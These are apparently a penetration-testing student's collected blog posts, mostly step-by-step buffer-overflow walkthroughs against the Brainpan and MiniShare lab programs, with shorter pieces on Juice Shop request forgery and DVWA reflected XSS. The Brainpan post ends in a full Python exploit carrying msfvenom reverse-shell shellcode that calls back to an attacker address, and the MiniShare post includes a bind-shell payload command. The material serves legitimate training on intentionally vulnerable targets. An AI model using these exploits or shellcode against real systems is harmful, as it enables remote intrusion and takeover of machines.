I have slowly been piecing together some ideas for test machines. I like to think from the base system up to the vulnerabilities to gain an initial foothold. This process has been super helpful for me to understand the exploitation and enumeration process a bit more.
One of my recent obsessions has been restricted shells and coming up with some interesting workarounds. One for causing pain on the tester hacking into the machine but two to find clever ways in and out of a low privilege user shells.
Below are some of my favorite resources on the subject:

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/
http://www.hackingmonks.net/2019/07/escaping-restricted-linux-shells-like.html

Scanning and Enumeration

So as part of my OSCP labs I wanted to focus on a few machines with buffer overflows. So I decided to tackle brainpan. After downloading and uploading the .ova file I began a basic scan of my network with:

nmap -sP 192.168.0.*

Locating the VM on the network. I start the enumeration process with nmap and gobuster.

nmap -O -A -p- 192.168.0.168

Seems to be two ports open, one of which is an HTTP service and another unidentified service on port 9999. Let’s explore the HTTP web interface and run gobuster, but first I will attempt to identify port 9999 with telnet.

I attempted to login with the username root. I was given ACCESS DENIED. No luck I tried a string of AAAAAAA…s but no luck. So I decided to move on.

On the 10000 port We find an interesting image about safe and practical coding. Hmmmm… Leads me to believe maybe our little abyss port might have something to do with this. I moved on to running gobuster to enumerate some of the directories on this machine.

Quickly we see that there is a directory called bin. Let’s browser to this directory and see if we can find anything useful. Looks like there is an executable file.

I will download the executable to a windows machine and investigate it a bit further.

Now that I have the executable on my machine up and running I will need to scan it and see what operations are happening on the Windows machine from my Linux attacker machine.

After locating the IP address of the Windows machine and running the .exe file I have verified that this 9999 port or abyss has something to do with the brainpan.exe file. I will try to establish a connection below with our python proof of concept script and see if I can crash the program.

#!/usr/bin/python
import socket
import sys
​
junk = "A" * 500
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk)

We can see we have successfully attempted to connect with our junk A’s.

Now let’s see if we can increase the size of the junk buffer and cause a crash on the remote program. A buffer overflow is what we should be looking for in this program. We will need to do quite a few other things to catch a shell but let’s see what we can establish on this machine.

So I changed my proof of concept code form 500 A’s to 1000. We get a successful crash on the machine and we can now begin controlling EIP, finding a jump point, and establishing bad characters for our shellcode.

Crashing the Program

So we will start brainpan.exe and then attach immunity debugger.

Once we have done that we will attempt to crash the program again but instead of A’s we will use msg-pattern create to make a pattern we can easily use to identify the EIP registry.

So now our code should look something like this.

#!/usr/bin/python
import socket
import sys
​
#junk = "A" * 1000
junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk)

Now I will run this script and investigate the amount of characters it will take to write over EIP. Using !mona in Immunity Debugger I will run this script below once I cause the crash:

!mona findmsp

We can see our EIP is at character number 524

Now we will re-write our code to include 524 A’s and then 4 B’s after to gain control of EIP.

#!/usr/bin/python
import socket
import sys
​
junk = "A" * 524 
eip = "B" * 4
shell = "C" * 472
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk + eip + shell)

We have now verified that we can gain control over EIP with 4 B’s in its place. Now all we need to do is find an unprotected module for our jump point in ESP, find bad characters in our shell code, and use msf-venom to build our reverse TCP connection.

Finding Modules / JMP ESP

We have located an unprotected module in brainpan.exe. Now we will need to use !mona to find a JMP ESP address. Running the command below in immunity:

 !mona find -s “\xff\xe4” -m brainpan.exe

We find a find a JMP ESP instruction at memory address 311712F3. I will add a comment to our code and begin searching for bad characters for our shell code.

#311712F3 JMP ESP 

New code:

#!/usr/bin/python
import socket
import sys
​
junk = "A" * 524 
eip = "\xf3\x12\x17\x31"
#311712F3 JMP ESP 
shell = "C" * 472
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk + eip + shell)

Now we will open the .exe and attach Immunity and begin the bad character analysis. So our new code should look something like this.

#!/usr/bin/python
import socket
import sys
​
junk = "A" * 524 
eip = "\xf3\x12\x17\x31"
badchar="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
#311712F3 JMP ESP 
#shell = "C" * 472
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
s.recv(1024)
s.send(junk + eip + badchar)

Running our new code we can see that our script allows all characters except for known bad charcters.

So now we will modify our script and add shell code for our connection.

Shell Code

Now all I need to do is generate shell code to create a reverse TCP connection to my attacking machine.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.153 LPORT=9988 EXITFUNC=thread -f c -b "\x00"

Here is our final python script:

#!/usr/bin/python
import socket
import sys
​
junk = "A" * 524
#character length to EIP register
​
eip = "\xf3\x12\x17\x31"
#!mona module
#!mona find -s JMP ESP -m brainpan.exe
#311712f3 brainpan.exe JMP ESP
​
nops = "\x90" * 20
#nops ;)
​
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.153 LPORT=9988 EXITFUNC=thread -f c -b "\x00"
shell = ("\xb8\x9c\x74\x52\xcf\xdd\xc4\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x52\x31\x43\x12\x83\xc3\x04\x03\xdf\x7a\xb0\x3a\x23\x6a\xb6"
"\xc5\xdb\x6b\xd7\x4c\x3e\x5a\xd7\x2b\x4b\xcd\xe7\x38\x19\xe2"
"\x8c\x6d\x89\x71\xe0\xb9\xbe\x32\x4f\x9c\xf1\xc3\xfc\xdc\x90"
"\x47\xff\x30\x72\x79\x30\x45\x73\xbe\x2d\xa4\x21\x17\x39\x1b"
"\xd5\x1c\x77\xa0\x5e\x6e\x99\xa0\x83\x27\x98\x81\x12\x33\xc3"
"\x01\x95\x90\x7f\x08\x8d\xf5\xba\xc2\x26\xcd\x31\xd5\xee\x1f"
"\xb9\x7a\xcf\xaf\x48\x82\x08\x17\xb3\xf1\x60\x6b\x4e\x02\xb7"
"\x11\x94\x87\x23\xb1\x5f\x3f\x8f\x43\xb3\xa6\x44\x4f\x78\xac"
"\x02\x4c\x7f\x61\x39\x68\xf4\x84\xed\xf8\x4e\xa3\x29\xa0\x15"
"\xca\x68\x0c\xfb\xf3\x6a\xef\xa4\x51\xe1\x02\xb0\xeb\xa8\x4a"
"\x75\xc6\x52\x8b\x11\x51\x21\xb9\xbe\xc9\xad\xf1\x37\xd4\x2a"
"\xf5\x6d\xa0\xa4\x08\x8e\xd1\xed\xce\xda\x81\x85\xe7\x62\x4a"
"\x55\x07\xb7\xdd\x05\xa7\x68\x9e\xf5\x07\xd9\x76\x1f\x88\x06"
"\x66\x20\x42\x2f\x0d\xdb\x05\x90\x7a\xe3\x4c\x78\x79\xe3\x49"
"\x7d\xf4\x05\xff\x6d\x50\x9e\x68\x17\xf9\x54\x08\xd8\xd7\x11"
"\x0a\x52\xd4\xe6\xc5\x93\x91\xf4\xb2\x53\xec\xa6\x15\x6b\xda"
"\xce\xfa\xfe\x81\x0e\x74\xe3\x1d\x59\xd1\xd5\x57\x0f\xcf\x4c"
"\xce\x2d\x12\x08\x29\xf5\xc9\xe9\xb4\xf4\x9c\x56\x93\xe6\x58"
"\x56\x9f\x52\x35\x01\x49\x0c\xf3\xfb\x3b\xe6\xad\x50\x92\x6e"
"\x2b\x9b\x25\xe8\x34\xf6\xd3\x14\x84\xaf\xa5\x2b\x29\x38\x22"
"\x54\x57\xd8\xcd\x8f\xd3\xf8\x2f\x05\x2e\x91\xe9\xcc\x93\xfc"
"\x09\x3b\xd7\xf8\x89\xc9\xa8\xfe\x92\xb8\xad\xbb\x14\x51\xdc"
"\xd4\xf0\x55\x73\xd4\xd0")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connet = s.connect((sys.argv[1], 9999))
​
s.recv(1024)
s.send(junk + eip + nops + shell)

So I will restart the brainpan.exe and run my python script being sure to put in the IP of my brainpan virtual machine.

And I am in…

Check out my next post on the brainpan privilege escalation.

BoF: OSCP Preperation

I am currently 2/3rds of the way through my OSCP labs. I have started going back through all the buffer overflow examples I have found that will help me attack the 25 point machine on the test. Currently I have worked through the FreeFloat, SyncBreeze, and VulnServer to help me along my journey. So I wanted to start documenting my BOF training on my blog. Both as a resource for others and a documentation for myself.

I started PenTesting in 09/10′ during college. I dedicated one of my one of my 3 month internships by going through the c0relan.be tutorials. Mostly on my own server at the school and on my dedicated VM WinXP machine at the time. These tutorials are a great resource though somewhat outdated they lay out the basics of exploit development and I highly encourage anyone interested in exDev to use them as an educational tool.

Fuzzing MiniShare

We first need to create our basic fuzzing program to help crash the Minishare Server and locate the offset of EIP.

#!/usr/share/python
​
import socket,sys
​
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
buff="GET "
buff+="A"*200
buff+=" HTTP/1.1\r\n\r\n"
s.send(buff)
s.close()

I like to use the sys.argv value to help recreate the program at another point and input my own values. It gives me a bit more control and flexibility with the exDev process. You can slowly increment the amount of A’s pushed onto the server until it crashes. Once we have found the necessary amount of A’s to crash the program we can begin to control the EIP register.

Controlling EIP

Once we have been able to successfully crash the program we now need to control the EIP register and begin to build out our exploit a bit more. Using pattern create we can generate a series of chars that will help us understand the offset of the EIP register. We want to use the same amount of chars that initially crash the program.

msf-pattern_create -l 2000

Copy paste the pattern info into the proof of concept fuzzing program. I also create a new version of my exploits to better reference the evolution of the exploit at a later date.

We will then run the program, attach it to Immunity, and crash the application again using our new string of 2000 chars.

Once the program has crashed with our generated pattern go to the search bar and use !mona in Immunity and run the command:

!mona findmsp 

We will then be able to locate the EIP offset and it will give us a unique dump of other potential registers of interest.

Our EIP register is offset at 1787 characters. So we now can gain control over EIP and can insert our 4 hexidecimal B’s to verify this control.

Below is our new exploit:

We will now use this simple exploit to see if we can gain control over EIP to then begin building out a place to put our shellcode. Open up the program again and attach Immunity. Be sure to press the play button to get the program out of the paused mode and running.

Run your exploit and you should crash the program and hit a breakpoint in the program. Be sure your 4 B’s are overwriting EIP like below.

Finding Bad Characters

Once we have gained control of EIP we will want to begin looking for any bad characters while creating our shellcode. So we will generate all hexidecimal characters from x01 to xff. Like below:

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Placing this into our skeleton exploit after the A’s. Run the program again and attach Immunity. Run the exploit again observe the crash and Follow the Dump of ESP to locate any bad characters.

To start off we have xOD as our first bad character. We will take out xOD and run the exploit again. And observe any other bad char in the shellcode.

Be sure to make a comment in your skeleton code for future reference. This is just a good practice overall so if you continue with exDev it will be easier for other to read your code in the future.

Run the program again. attach Immunity, and run your skeleton exploit.

We can see that we do not get any other bad characters. So now we will need to find a register to jump to so we can run our shellcode. Below is our set of bad characters:

Finding JMP ESP & Generating Shellcode

When we crash MiniShare we want the contents of ESP to be executed by EIP. ESP will be the beginning of our shellcode that will want to execute to gain access to the Windows 7 machine. This can be done by executing a JMP ESP instruction. We will the program and Immunity using !mona to find our JMP ESP address.

We will go to our right click drop down module:

search > all modules

JMP ESP

We will use the USER32.ddl address of JMP ESP:

764b4e5b

Then we will generate our payload using msfvenom

msfvenom -p windows/shell_bind_tcp -a x86 -b '\x00\x0d' -f c

Take your generated shellcode and place it into your working exploit after the nops.

A note on nops

NOPS:
No operations are an important part of shellcode, imagine trying to point to a single address, that holds our shellcode,
when the possibility of pointing to the correct address is slim, Nops make it easier, because they do nothing, they just
go down until the next instruction, so imagine your shellcode in the environment, and we point to the wrong address
which just so happens to have our NOPS:
​
0xbffffca8: NOP
0xbffffcac: NOP
0xbffffcb2: SHELLCODE

https://www.exploit-db.com/papers/13147

Exploit!

Run your exploit and then open up netcat and connect to the victim.

If you crafted your shellcode correctly you should have a connection to the victim machine from your attacking machine.

A quick link to my buffer overflows:
https://github.com/n0psn0ps/OSCP_bof_Prep

Log in as your normal user in the Juice Shop application and submit a review to one of the products.

Once the product review has been submitted click the edit review button that pops up as shown below.

Make sure your Burpsuite proxy is on and running to capture the PATCH request for our review edit. But first what is a PATCH request.

A PATCH request is a HTTP method to update partial resources on a web application. When we consider the Juice Shop and many of its intentionally vulnerable API implementations we can use the ID parameter from one users review and place it inside the other and PATCH the request and intentionally forge information displayed on the web application.

http://restcookbook.com/HTTP%20Methods/patch/

So we have captured the request and now send it to repeater in Burpsuite seen below.

Examining the id parameter we can assume that this token be repeated and submitted as though it is another user. Firstly we need to locate the id token of bender to be able to spoof and change his comments. So we will capture the thumbs up on his review and then use his id token below to change his comment on the review section. Changing the id parameter of the PATCH request captured by Burpsuite from yours to Benders id token.

Press [ Send ] and view the FireFox browser for the new comment you sent through the PATCH request Burpsuite and Juice Shop API.

Thanks for reading and happy hacking.

https://youtu.be/xwz2GhQexc0

Today I would like to go over a couple examples of the most basic cross-site scripting attacks. Cross-site scripting attacks or XSS for short have been on the rise over the last few years. XSS is a web application based vulnerability that affects the user or client of a server or application. Typically it can be used as a leverage point to steal cookies and user authentication.
Seen initially as a very primitive attack that had affected the majority of the internet it has now come to public knowledge as a more severe attack wherein a malicious actor can wiggle their way deeper into a server or system.  

Let’s get our hands a bit dirty. You will want to spin up a virtual machine with DVWA in any of your favorite VM environments or set up  Docker on your local machine and import the newest version of DWVA via the terminal. I will not go over the steps here to do that, maybe at a later point, I will give a quick tutorial on how but for now let’s assume you know that part of the process.
Once you have DVWA installed and you have navigated to your localhost:port for the install on your browser we will put in our username and password and begin the exploitation process. Be sure to set the security level to low. 

Once you have found the proper location of the DVWA security level form we will browse over to our XSS (Reflected) page to begin our exploitation process. 

The first thing I would like you to do is place your name into the form field and hit enter. Pay attention to two things. One look at the URL above and two the location of your name on the screen. 

Both of these are going to be paramount to finding a successful attack. What we are looking for here is user data that can be input into a form field that will acknowledge whatever we feed into it.
Now what we are going to do is manipulate the data below to find a possible point of entry for our XSS attack. Write your name again and give it a bit of HTML text styling. 

We see that as a user we can manipulate some data we place into a submit form. So lets now do our “primitive attack” on the web application. Type in the tag below and you should get a window to pop-up notifying the attacker of a flaw in the application.

We always want to refer to the URL and the submit form. This is where we will be able to glean deeper information into the program’s function. Stay tuned for the next post on harden security measures and other ways to bypass the security of the application for finding reflected XSS. 

Further reading and considerations:

Take some time to read about HTML forms, HTML and Javascript basics. Read about tags: script, iframe, img, svg. Lastly read about Javascript and HTML filters. All of this information will be paramount to you understanding how to find and locate XSS attacks in the wild.

I have slowly been working through a few exploits with vulnserver.exe. An awesome multithread TCP server which was written by Stephan Bradshaw of the Grey Corner blog. If you follow the link to the GitHub you can see a few awesome tutorials.

I have mostly started playing with this Windows-based server to get a more robust understanding of exploit dev since working through the C0relan.be exercises. Which I would also highly recommend but are a little dated. Though offer helpful directions in getting your feet a bit wet with exploit dev.

Other tutorials I would recommend and try out:
Sam Class
Sh3llC0d3r series
InfoSec Resources – Part 1

I will slowly be uploading all my code to GitHub so if you want to try it for yourself and see how it works on your machine. I will be sure to comment on all the code detailing the OS version and type.

Note
If you plan on running Vulnserver.exe and exploiting the program will need a few prerequisites. To get yourself started. I suggest learning and understanding Python somewhat thoroughly before diving in. Do not just copy-paste the code and expect it to work.
Also be proficient in the uses of Immunity Debugger and Mona.py both are powerful tools for understanding what is happening in real-time with your code and program crashes.

Happy hunting 

n0ps